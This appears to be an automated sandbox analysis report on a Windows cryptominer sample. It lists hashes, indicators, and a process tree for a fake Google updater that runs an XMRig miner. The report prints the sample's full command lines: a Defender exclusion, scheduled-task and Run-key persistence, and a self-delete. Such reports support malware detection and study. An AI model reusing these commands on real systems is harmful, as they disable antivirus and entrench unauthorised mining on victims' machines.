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Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
-
max time kernel
327s -
max time network
1800s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
27/01/2024, 11:19
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20231215-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
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Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2152 created 1264 2152 qM5GMXBk6hJE6Y5e (20).exe 14 PID 2152 created 1264 2152 qM5GMXBk6hJE6Y5e (20).exe 14 PID 2152 created 1264 2152 qM5GMXBk6hJE6Y5e (20).exe 14 PID 2152 created 1264 2152 qM5GMXBk6hJE6Y5e (20).exe 14 PID 3040 created 1264 3040 updater.exe 14 PID 3040 created 1264 3040 updater.exe 14 PID 3040 created 1264 3040 updater.exe 14 PID 3040 created 1264 3040 updater.exe 14 PID 2528 created 1264 2528 conhost.exe 14 PID 3040 created 1264 3040 updater.exe 14 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral11/memory/2384-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2384-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2624 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 3040 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2904 taskeng.exe -
resource yara_rule behavioral11/memory/2384-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2384-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3040 set thread context of 2528 3040 updater.exe 54 PID 3040 set thread context of 2384 3040 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (20).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2632 schtasks.exe 488 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2356 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80d513d71451da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2152 qM5GMXBk6hJE6Y5e (20).exe 2152 qM5GMXBk6hJE6Y5e (20).exe 2716 powershell.exe 2152 qM5GMXBk6hJE6Y5e (20).exe 2152 qM5GMXBk6hJE6Y5e (20).exe 2584 powershell.exe 2152 qM5GMXBk6hJE6Y5e (20).exe 2152 qM5GMXBk6hJE6Y5e (20).exe 2152 qM5GMXBk6hJE6Y5e (20).exe 2152 qM5GMXBk6hJE6Y5e (20).exe 2596 powershell.exe 3040 updater.exe 3040 updater.exe 1968 powershell.exe 3040 updater.exe 3040 updater.exe 528 powershell.exe 3040 updater.exe 3040 updater.exe 3040 updater.exe 3040 updater.exe 2528 conhost.exe 2528 conhost.exe 3040 updater.exe 3040 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2716 powershell.exe Token: SeDebugPrivilege 2584 powershell.exe Token: SeDebugPrivilege 2596 powershell.exe Token: SeDebugPrivilege 1968 powershell.exe Token: SeDebugPrivilege 528 powershell.exe Token: SeDebugPrivilege 3040 updater.exe Token: SeAssignPrimaryTokenPrivilege 2356 WMIC.exe Token: SeIncreaseQuotaPrivilege 2356 WMIC.exe Token: SeSecurityPrivilege 2356 WMIC.exe Token: SeTakeOwnershipPrivilege 2356 WMIC.exe Token: SeLoadDriverPrivilege 2356 WMIC.exe Token: SeSystemtimePrivilege 2356 WMIC.exe Token: SeBackupPrivilege 2356 WMIC.exe Token: SeRestorePrivilege 2356 WMIC.exe Token: SeShutdownPrivilege 2356 WMIC.exe Token: SeSystemEnvironmentPrivilege 2356 WMIC.exe Token: SeUndockPrivilege 2356 WMIC.exe Token: SeManageVolumePrivilege 2356 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2356 WMIC.exe Token: SeIncreaseQuotaPrivilege 2356 WMIC.exe Token: SeSecurityPrivilege 2356 WMIC.exe Token: SeTakeOwnershipPrivilege 2356 WMIC.exe Token: SeLoadDriverPrivilege 2356 WMIC.exe Token: SeSystemtimePrivilege 2356 WMIC.exe Token: SeBackupPrivilege 2356 WMIC.exe Token: SeRestorePrivilege 2356 WMIC.exe Token: SeShutdownPrivilege 2356 WMIC.exe Token: SeSystemEnvironmentPrivilege 2356 WMIC.exe Token: SeUndockPrivilege 2356 WMIC.exe Token: SeManageVolumePrivilege 2356 WMIC.exe Token: SeLockMemoryPrivilege 2384 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2584 wrote to memory of 2632 2584 powershell.exe 32 PID 2584 wrote to memory of 2632 2584 powershell.exe 32 PID 2584 wrote to memory of 2632 2584 powershell.exe 32 PID 2624 wrote to memory of 3060 2624 cmd.exe 34 PID 2624 wrote to memory of 3060 2624 cmd.exe 34 PID 2624 wrote to memory of 3060 2624 cmd.exe 34 PID 2596 wrote to memory of 2148 2596 powershell.exe 38 PID 2596 wrote to memory of 2148 2596 powershell.exe 38 PID 2596 wrote to memory of 2148 2596 powershell.exe 38 PID 2904 wrote to memory of 3040 2904 taskeng.exe 40 PID 2904 wrote to memory of 3040 2904 taskeng.exe 40 PID 2904 wrote to memory of 3040 2904 taskeng.exe 40 PID 528 wrote to memory of 488 528 powershell.exe 47 PID 528 wrote to memory of 488 528 powershell.exe 47 PID 528 wrote to memory of 488 528 powershell.exe 47 PID 3040 wrote to memory of 2528 3040 updater.exe 54 PID 2344 wrote to memory of 2356 2344 cmd.exe 49 PID 2344 wrote to memory of 2356 2344 cmd.exe 49 PID 2344 wrote to memory of 2356 2344 cmd.exe 49 PID 3040 wrote to memory of 2384 3040 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1264
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2152
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2716
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2632
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2624
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2148
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1968
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:528 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:488
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1596
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2344
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2528
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2384
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:3060
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C:\Windows\system32\taskeng.exetaskeng.exe {8782EDA7-F1AB-4594-AF35-137ADFDA889C} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3040
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2356
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
332KB
MD5484f7366163d9e1d2cf8347fe9e6bc7e
SHA149a6386de853595de88fbe3829fb478b431cfd4d
SHA25671a7e860a828208c2a1937876171d406ce377bbacafc2e30f8c1e5be47a6e5a4
SHA512a2b501851fb66bf49c1e585c63c3603de12470abb5a947a84cea8b1b2beacd7fc3b45d73c2a4b79d1bff7f9b159c8ccabd8d34f1fdb972b4713ec471f5c6c509
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Filesize
202KB
MD5ee4bab6c65b1bcf8f2881371bb6e4c31
SHA1330cbdb59696aa4fe04b9a897fe2baffea148ffc
SHA256a827c126061735cdc50a10cee6e9303746ad2204987944c8ba88ef89c2ece865
SHA5128223270bb7c5bef7f7785db37e932268cc038dd4162c7327a7a8215f11affc1068d7921b596da461c8a0e07389accb645b9a31bd4932f4519e6cc7de2b6a0e10
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD516414528bb1af1c924a7f48c45f63126
SHA1945cee7b4c620b578973801d7e9f6fa469b292fc
SHA256fae343bc560afcdf41ec53c1dcd83ade63a2b2d76bb22b03418cdc7a07429343
SHA512083f5c6aeae2ba2b0c925670e94d65c67083f6bd539be7ce025170c17f1359da3504b48caab74f2a677f41d1f7d9ce858ff61d840661b8647fbda0f65fe80c72
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Filesize
334KB
MD5fd7cac703a964a7ca5978a39040aadad
SHA1ed865402890485681b509000fac4e01105fdfc0a
SHA256b9eae11b3db97edffc9e6c4a7f0157e71c1606e4b5c656dfa03a63b9032a413b
SHA512aead5f34337b6b75e55bac359ca8a967932c4fc3d3605ece3a92c1eebb5ebe2758b8e6100f93c4dd08668146368832529c88a8f81e65edcb83971527a6a49e2f